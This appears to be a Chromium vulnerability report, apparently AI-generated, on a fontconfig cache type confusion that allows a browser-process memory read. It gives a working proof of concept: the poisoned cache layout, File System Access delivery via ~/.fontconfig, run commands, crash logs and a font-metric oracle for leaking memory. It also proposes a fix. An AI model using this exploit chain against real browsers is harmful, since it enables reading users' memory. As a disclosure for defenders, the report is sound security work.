CVE-2026-113066
Overview
Fix not yet public
Original Bug Report
Type confusion in FcCacheOffsetsValid leads to arbitrary memory read in browser process
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: On desktop Linux, Chrome’s bundled fontconfig runs in the unsandboxed browser process and mmaps on-disk font cache files at startup, gated only by FcCacheOffsetsValid. That validator never checks a serialized value’s declared type against its pattern element’s object, and skips all validation of the 8-byte value union for scalar types such as FcTypeInteger. A crafted cache can therefore attach an Integer-declared value holding an arbitrary qword to an FC_FAMILY element; the family comparators dispatch by object and dereference that qword as a string pointer on every font query. Web content that obtains one File System Access write grant to the legacy ~/.fontconfig cache directory (absent from the FSA blocklist) can plant such a cache and, after the next launch, read-walk attacker-chosen browser-process addresses and exfiltrate memory contents via a font-match equality oracle.
Affected files:
third_party/fontconfig/src/src/fccache.c:943-950— nop validation arms; no object↔type cross-check anywhere in the value loop (:937-1054)third_party/fontconfig/src/src/fcmatch.c:596-598—FcCompareFamiliesdereferences the value union as a pointer with no discriminant check (hit on everyFcFontMatch/FcFontSort)third_party/fontconfig/src/src/fcmatch.c:68-83—FcCompareFamilyhas the same defect on the winning-font paththird_party/fontconfig/src/src/fcint.h:164-198—FcValueString/FcPointerMember: tag bit clear → raw absolute pointer; tag bit set → unbounded cache-relative offsetthird_party/fontconfig/src/fonts.conf.in:90— legacy<cachedir>~/.fontconfig</cachedir>still shipped in the bundled default templatechrome/browser/file_system_access/chrome_file_system_access_permission_context.cc:378-493—~/.fontconfigis not on the FSA blocklist (delivery path)
Estimated timestamp from git blame: 2025-06-17
Summary
FcCacheOffsetsValid (third_party/fontconfig/src/src/fccache.c:872-1060) is the only barrier between an attacker-writable cache file and the browser-process font matcher. It validates the value union only for declared types String/CharSet/LangSet/Range; for FcTypeVoid/Integer/Double/Bool/Matrix/FTFace the arm is an explicit nop, and e[j].object is never consulted, so nothing ties the declared type to the element’s object.
Comparators are dispatched by object, not value type (third_party/fontconfig/src/src/fcmatch.c:407-433). A cache pattern whose FC_FAMILY element carries a value node declared FcTypeInteger with an attacker qword in the union passes validation, and every subsequent font query dereferences that qword as a string pointer, walking memory byte-by-byte until NUL.
Consequences (all demonstrated by execution on a Linux ASan build):
- Browser-process read at an attacker-chosen absolute address (tag bit clear) or unbounded cache-relative offset (tag bit set — no ASLR knowledge needed).
- SIGSEGV at the chosen address when unmapped — a mapping oracle across restarts.
- A non-crashing content-equality oracle: if the bytes at the probed address (case/blank-folded, up to NUL) equal one of the CSS-controlled query family strings, the poisoned font wins the match and the renderer observes the flip via font metrics — repeatable, with unlimited guesses per planted address and multiple planted addresses per cache.
Delivery assumptions (held on the test host; distro/host-dependent for arbitrary victims): the host /etc/fonts/fonts.conf includes the legacy ~/.fontconfig cachedir (upstream default per the bundled template), that directory pre-exists (FSA cannot create it since $HOME itself is picker-blocked), the victim grants an FSA write permission to it via the directory picker, and the browser is subsequently restarted.
Root Cause Analysis
-
Validator skips the union for scalar-declared types and never cross-checks the object:
third_party/fontconfig/src/src/fccache.c:943-950— throughout the value loop (fccache.c:937-1054),e[j]is used only as an address bound;e[j].objectis never read.// [`third_party/fontconfig/src/src/fccache.c:943-951`](https://source.chromium.org/chromium/chromium/src/+/main:third_party/fontconfig/src/src/fccache.c;l=943) switch (l->value.type) { case FcTypeVoid: case FcTypeInteger: // <-- union qword accepted verbatim case FcTypeDouble: case FcTypeBool: case FcTypeMatrix: case FcTypeFTFace: break; /* nop */ case FcTypeString: // <-- the arm that WOULD enforce FcIsEncodedOffsetThe String arm’s checks (
fccache.c:951-961) are bypassed because dispatch follows the attacker-declared type. -
Cache patterns bypass the runtime type guarantee:
FcObjectValidType(which rejects Integer for FAMILY) is enforced only for runtime adds (third_party/fontconfig/src/src/fcpat.c:621,:678).FcConfigAddCacheadds the raw mmapped patterns directly to the system font set (third_party/fontconfig/src/src/fccfg.c:482), reached from browserFcInit()viaFcConfigBuildFonts → FcDirCacheRead. -
Acceptance requires no local knowledge: a header with
fc_version = INT64_MAXsatisfiesFcCacheIsNewVersion(fccache.c:820-824), bypassing dir-mtime validation (fccache.c:1126-1132), and the freshly written file wins newest-mtime arbitration over the legitimate cache (fccache.c:1192-1206). -
Type-blind dereference on every query:
FcCompareFamiliescallsFcValueStringon every family node of every scored font — the poisoned pattern does not need to win the match.// [`third_party/fontconfig/src/src/fcmatch.c:596-598`](https://source.chromium.org/chromium/chromium/src/+/main:third_party/fontconfig/src/src/fcmatch.c;l=596) for (v2 = v2orig; v2; v2 = FcValueListNext (v2)) { key = FcValueString (&v2->value); // no type check if (FcHashTableFind (table, key, (void **)&e)) { // hashes bytes AT keyFcValueStringisFcPointerMember(third_party/fontconfig/src/src/fcint.h:164,191,198): with the tag bit clear the qword is used as a raw pointer, andFcStrHashIgnoreBlanksAndCase(third_party/fontconfig/src/src/fcstr.c:290) walks bytes at that address until NUL; bucket hits additionally runFcStrCmpIgnoreBlanksAndCase(fcstr.c:361-379). -
Reachable in the browser process from web content:
FcInit()runs in the browser process (ui/gfx/linux/fontconfig_util.cc:58; bundled fontconfig perthird_party/fontconfig/fontconfig.gni:10), and renderer-controlled family strings reachFcFontMatch/FcFontSortvia FontService (content/browser/font_service.cc:16-28,components/services/font/font_service_app.cc:101-164,third_party/skia/src/ports/SkFontConfigInterface_direct.cpp:629,683,691). The browser’s own startup UI font queries also trigger the walk with no renderer involvement. -
Delivery gap:
~/.fontconfigis a legacy cachedir in the bundled default config template (third_party/fontconfig/src/fonts.conf.in:90, marked “will be removed in the future”) but is not in Chrome’s FSA blocklist —$HOMEis blockedkDontBlockChildrenand only.ssh/.gnupg/.config/.dbus/~/.cachechildren are blocked (chrome_file_system_access_permission_context.cc:378-493) — so a single directory-picker write grant lets web content plant the cache file.
Reproduction
- Host precondition (held on the test system; upstream-default but host-dependent):
/etc/fonts/fonts.confincludes the~/.fontconfigcachedir and that directory exists. - A web page calls
showDirectoryPicker(); the victim selects~/.fontconfigand clicks Allow on the “Allow this site to edit files?” chooser. - The page writes
<md5(font dir)>-le64.cache-12(e.g. for/usr/share/fonts): magicFC_CACHE_MAGIC_MMAP(0xFC02FC04), version 12,size= file size,fc_version = INT64_MAX, valid dir/dirs/set offsets, and one pattern containing an honestFC_FILEstring naming a real font plus anFC_FAMILYelement whose value list includes a node{type = FcTypeInteger, union = TARGET_ADDRESS}(orRELATIVE_OFFSET|1for cache-relative probing). - Restart the browser.
- Expected: the cache is rejected — an Integer-typed value is never legal on
FC_FAMILY(FcObjectValidType).
Observed (executed): the browser process crashed during startup, before any page load, with SEGV_MAPERR at exactly the planted address 0x424242424240, in FcStrHashIgnoreBlanksAndCase ← FcHashTableFind ← FcCompareFamilies/FcCompare ← FcFontSetMatchInternal ← FcFontMatch ← SkFontConfigInterfaceDirect::matchFamilyName ← gfx::FontList (startup font-pref query). The full web-content delivery was also executed: the FSA chooser granted write access to ~/.fontconfig (the directory passes the blocklist), the page wrote the cache, and the next launch crashed. In oracle mode (mapped probe address, tag bit set), when the probed bytes equaled the query family string “sans-serif” the poisoned font won the match and the renderer observed the flip via canvas.measureText (500.78 → 481.64, bit=1 vs bit=0 A/B runs); unmapped probes instead produce the crash/mapping oracle.
Severity
high — an attacker-chosen-address read plus content-disclosure oracle in the unsandboxed browser process is a memory-safety violation with all-origins disclosure scope, matching the high tier for browser-process memory-safety bugs gated on a permission-chooser prompt (here an FSA directory-picker write grant plus a restart; post-plant triggering is deterministic on every font query with zero further interaction). It is not critical because the primitive is read-only (no write/RCE demonstrated) and delivery additionally depends on host configuration: the legacy cachedir present in the host /etc/fonts/fonts.conf and a pre-existing ~/.fontconfig. These are social/configurational preconditions, not the timing-sensitive trigger complexity that would demote to medium.
Suggested Fix Direction
In FcCacheOffsetsValid, reject any serialized value whose declared type is not valid for the element’s object — the same FcObjectValidType(e[j].object, l->value.type) predicate already enforced for runtime adds — and bounds-check the remaining pointer-typed nop arm (FcTypeMatrix). This check was prototyped and verified to reject the poisoned caches while legitimately generated caches still load. Independently, consider adding ~/.fontconfig to the File System Access blocklist.
POC: FcCacheOffsetsValid never cross-checks value.type against elt object: poisoned cache smuggles raw pointers through nop-arm FcTypeInteger into type-blind FcCompareFamilies/FcCompareFamily — attacker-chosen-address read walk in browser process on every font query, with content-equality exfil oracle
Strategy: web-content Bug Type: type confusion (CWE-843) → attacker-controlled-address read in the unsandboxed browser process (SEGV at chosen address / non-crashing content-equality disclosure oracle)
FcCacheOffsetsValid (third_party/fontconfig/src/src/fccache.c:943-950) validates an
attacker-writable on-disk fontconfig cache but treats FcTypeInteger (and the other
nop-arm types) as requiring no validation of the 8-byte value union, and never checks
that the declared value type is valid for the element’s object. The FC_FAMILY
comparators dispatch by object, not type (fcmatch.c:596-598, fcmatch.c:68-83), and
call FcValueString() on every family value node: a node declared FcTypeInteger
whose union holds an attacker qword is dereferenced as a raw pointer
(fcint.h:164,191 — tag bit clear = absolute address, tag bit set = unbounded offset
relative to the mmapped cache) and FcStrHashIgnoreBlanksAndCase reads the bytes at
that address until NUL (fcstr.c:290) — in the browser process, on every font query.
Contents
| file | purpose |
|---|---|
build_cache.py |
crafts the poisoned <md5(fontdir)>-le64.cache-12 (crash + oracle modes) |
fsa-plant.html |
delivery page: writes the cache into ~/.fontconfig via the File System Access API |
oracle.html |
renderer-side readout of the memory-content equality oracle |
server.py |
serves the POC on http://localhost:8080 |
payload.bin |
pre-built crash-mode cache served to fsa-plant.html |
crash-browser-process.log |
browser stderr + llvm-symbolized stack of the SEGV at 0x424242424240 |
fsa-permission-prompt.png / fsa-planted.png |
screenshots of the FSA grant + successful plant |
fsa-restart-crash.log |
crash of the next browser launch after the web-content plant |
oracle-results.log |
A/B runs of the equality oracle (renderer console + match-flip evidence) |
bandaid-fix.patch |
minimal validator fix (verified: poisoned caches rejected, no crash) |
Prerequisites
- Linux desktop Chromium ASAN build:
/chromium_src/src/out/asan/chrome(bundled fontconfig 2.18.3, cache version 12; verified statically linked). - Host
/etc/fonts/fonts.conflisting the legacy cachedir~/.fontconfig(true of the upstream default template and of this host:<cachedir>~/.fontconfig</cachedir>), with~/.fontconfigexisting./usr/share/fontsis the first<dir>;md5("/usr/share/fonts") = 3830d5c3ddfd5cd38a049b759396e72ematches the cache file name planted below. xdotoolonly if you want to replay the scripted FSA delivery.
Reproduction
A. Full web-content chain (delivery + trigger)
cd /poc-artifacts && python3 server.py & # serves fsa-plant.html + payload.bin
rm -rf /tmp/chrome-poc-profile
XDG_CACHE_HOME=$HOME/.cache /chromium_src/src/out/asan/chrome \
--no-first-run --no-default-browser-check --ignore-gpu-blocklist \
--no-proxy-server --user-data-dir=/tmp/chrome-poc-profile \
http://localhost:8080/fsa-plant.html
In the page: click Show me fonts!, pick /home/<user>/.fontconfig in the
directory picker (Ctrl+L, type the path, click Open), click Allow on the
“Allow this site to edit files?” chooser. The page prints
PLANTED 3830d5c3...-le64.cache-12 (4096 bytes). This is the only user
interaction in the chain (the report’s stated precondition; in our run it was
scripted with xdotool — see fsa-permission-prompt.png, fsa-planted.png).
Quit the browser and start it again (any URL):
XDG_CACHE_HOME=$HOME/.cache /chromium_src/src/out/asan/chrome \
--no-first-run --no-default-browser-check --ignore-gpu-blocklist \
--no-proxy-server --user-data-dir=/tmp/chrome-poc-profile2 about:blank
The browser process SEGVs during startup at the attacker-chosen address —
before any page is loaded — because its first font query
(PrefsTabHelper::RegisterProfilePrefs → gfx::FontList → Skia →
FcFontMatch) walks the poisoned FC_FAMILY list.
B. Direct plant (skips the FSA UI; identical bytes)
python3 /poc-artifacts/build_cache.py --mode crash --addr 0x424242424240
# wrote ~/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-le64.cache-12
# then launch chrome as above -> same crash
C. Content-equality exfiltration oracle (non-crashing, renderer-visible)
The poisoned qword can instead carry a cache-relative offset (tag bit set). The demo places a “secret” string inside the cache to have deterministic bytes at the probed location; against a real target the same node carries an absolute address of victim browser memory.
# bit=1 case: bytes at the probed address are "sans-serif"
python3 /poc-artifacts/build_cache.py --mode oracle --family Verdana --secret "sans-serif"
rm -rf /tmp/chrome-poc-profile && XDG_CACHE_HOME=$HOME/.cache \
/chromium_src/src/out/asan/chrome --no-first-run --no-default-browser-check \
--ignore-gpu-blocklist --no-proxy-server --enable-logging=stderr \
--user-data-dir=/tmp/chrome-poc-profile http://localhost:8080/oracle.html
# renderer console: ORACLE ... bit=1 (CSS "sans-serif" text renders with the
# poisoned font's file, DejaVuSansMono.ttf)
# bit=0 case: any other bytes
python3 /poc-artifacts/build_cache.py --mode oracle --family Verdana --secret "WrongBytes99"
# rerun chrome -> ORACLE ... bit=0 (normal DejaVu Sans)
Mechanics of the readout: on every FcFontMatch, FcCompareFamilies hashes the
bytes read through the smuggled pointer against the query’s family hash table
(built from the CSS-controlled family list, fcmatch.c:536-574,596-614). If they
case/blank-fold-equal the query’s strong key "sans-serif" (index ~92 after
fonts.conf alias expansion), the poisoned font’s PRI_FAMILY_STRONG beats every
real font (which all score 1e99 strong) and it wins the match; its FC_FILE is then
returned to the renderer as the FontIdentity, flipping canvas.measureText metrics
for a page using font-family: "sans-serif" (quoted = concrete family name, which
is what reaches fontconfig verbatim). The pattern carries an honest
FONTFORMAT="TrueType" so the winning match passes Skia’s
SK_FONT_CONFIG_INTERFACE_ONLY_ALLOW_SFNT_FONTS check
(SkFontConfigInterface_direct.cpp:521-528,557) and an honest decoy family
(“Verdana”, weak index 3 > DejaVu Sans’s 2) so it loses cleanly when the probe
misses. One probe = one equality bit at one address; multiple poisoned patterns
give multiple probed addresses per cache, re-plantable without limit. Unmapped
probe addresses crash the browser instead (run A) — a mapping oracle across
restarts.
Expected Result
- Run A/B: browser process dies with
Received signal 11 SEGV_MAPERR 424242424240(the attacker-chosen address; cr2/rdi = 0x424242424240) insideFcStrHashIgnoreBlanksAndCase ← FcHashTableFind ← FcCompareFamilies/FcCompare ← FcFontSetMatchInternal ← FcFontMatch— see the symbolized stack incrash-browser-process.log. - Run C:
ORACLE ... bit=1with secret"sans-serif",bit=0otherwise (oracle-results.log; the browser-side match flip is also visible as 21-vs-0Fontconfig warning: FcPattern object family does not accept value ...(i)stderr lines — that warning fires exactly when the winning pattern is the poisoned one).
Output
Fontconfig warning: We will not regenerate the cache because some cache files were
generated by a newer version (0x7fffffffffffffff) of Fontconfig. ...
[= the planted cache was accepted via the fc_version freshness bypass]
Received signal 11 SEGV_MAPERR 424242424240
#4 FcStrHashIgnoreBlanksAndCase ./../../third_party/fontconfig/src/src/fcstr.c:290:6
#5 FcHashTableFind ./../../third_party/fontconfig/src/src/fchash.c:101:26
#6 FcCompare ./../../third_party/fontconfig/src/src/fcmatch.c:598:6 [FcCompareFamilies inlined]
#7 FcFontSetMatchInternal ./../../third_party/fontconfig/src/src/fcmatch.c:881:11
#8 IA__FcFontMatch ./../../third_party/fontconfig/src/src/fcmatch.c:1046:12
#9 SkFontConfigInterfaceDirect::matchFamilyName(...) SkFontConfigInterface_direct.cpp:683
#10 SkFontMgr_FCI::onMatchFamilyStyle(...)
#11 gfx::FontList::FirstAvailableOrFirst(...)
#12 PrefsTabHelper::RegisterProfilePrefs(...) [browser process, startup]
r di: 0000424242424240 ... cr2: 0000424242424240
ORACLE probe("sans-serif")=481.64 ctrl(DejaVu Sans)=500.78 ctrl(DejaVu Sans Mono)=481.64
=> memory@target == "sans-serif" : bit=1 [secret = "sans-serif"]
ORACLE probe("sans-serif")=500.78 ctrl(DejaVu Sans)=500.78 ctrl(DejaVu Sans Mono)=481.64
=> memory@target == "sans-serif" : bit=0 [secret = "WrongBytes99"]
Bandaid Fix
bandaid-fix.patch (against third_party/fontconfig/src) makes
FcCacheOffsetsValid reject any serialized value whose declared type is not
valid for the element’s object (FcObjectValidType, the same predicate already
enforced for runtime adds at fcpat.c:621,678 — so every cache legitimately
written by fontconfig still passes), and additionally bounds-checks the
FcTypeMatrix pointer arm (the one remaining pointer-typed nop arm that is
valid for its own object). Verified: with the fix applied, the poisoned cache
is rejected (FC_DEBUG=16 shows
invalid cache: value type 1 is not valid for object 1), fontconfig falls back
to rescanning the directory, and the browser starts and renders normally with
both the crash-mode and oracle-mode caches planted.
cd /chromium_src/src/third_party/fontconfig/src && git apply /poc-artifacts/bandaid-fix.patch
cd /chromium_src/src && autoninja -C out/asan chrome
Notes
- Cache acceptance needs no timing/mtime knowledge:
fc_version = INT64_MAXsatisfiesFcCacheIsNewVersion(fccache.c:820-824,1130-1131), and the fresh mtime wins newest-cache-wins arbitration (fccache.c:1192-1206) over any legitimate cache. - The crafted cache preserves the font directory’s real subdirectory list, so all system fonts keep working in the non-crashing (oracle) configuration — nothing looks broken to the victim.
XDG_CACHE_HOME=$[HOME/.c](https://source.chromium.org/chromium/chromium/src/+/main:HOME/.c)achein the run commands only normalizes a stale sandbox environment variable to its desktop default; it plays no role in the bug (the planted cachedir is~/.fontconfig, resolved via$HOME).- The delivery matches the vulnerability report’s threat model: one FSA
directory-picker write grant to the hidden, blocklist-exempt
~/.fontconfigplus a browser restart. All post-plant behavior is zero-interaction.
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there’s no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
- http://localhost:8080
- http://localhost:8080/fsa-plant.html
- http://localhost:8080/oracle.html
- https://source.chromium.org/chromium/chromium/src/+/main:HOME/.c
- https://source.chromium.org/chromium/chromium/src/+/main:chrome/browser/file_system_access/chrome_file_system_access_permission_context.cc;l=378
- https://source.chromium.org/chromium/chromium/src/+/main:components/services/font/font_service_app.cc;l=101
- https://source.chromium.org/chromium/chromium/src/+/main:content/browser/font_service.cc;l=16
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/fontconfig/fontconfig.gni;l=10
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/fontconfig/src/src/fccache.c;l=872
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/fontconfig/src/src/fccache.c;l=943
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/fontconfig/src/src/fccfg.c;l=482
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/fontconfig/src/src/fcint.h;l=164
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/fontconfig/src/src/fcmatch.c;l=407
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/fontconfig/src/src/fcmatch.c;l=596
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/fontconfig/src/src/fcmatch.c;l=68
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/fontconfig/src/src/fcpat.c;l=621
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/fontconfig/src/src/fcstr.c;l=290
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/skia/src/ports/SkFontConfigInterface_direct.cpp;l=629
- https://source.chromium.org/chromium/chromium/src/+/main:ui/gfx/linux/fontconfig_util.cc;l=58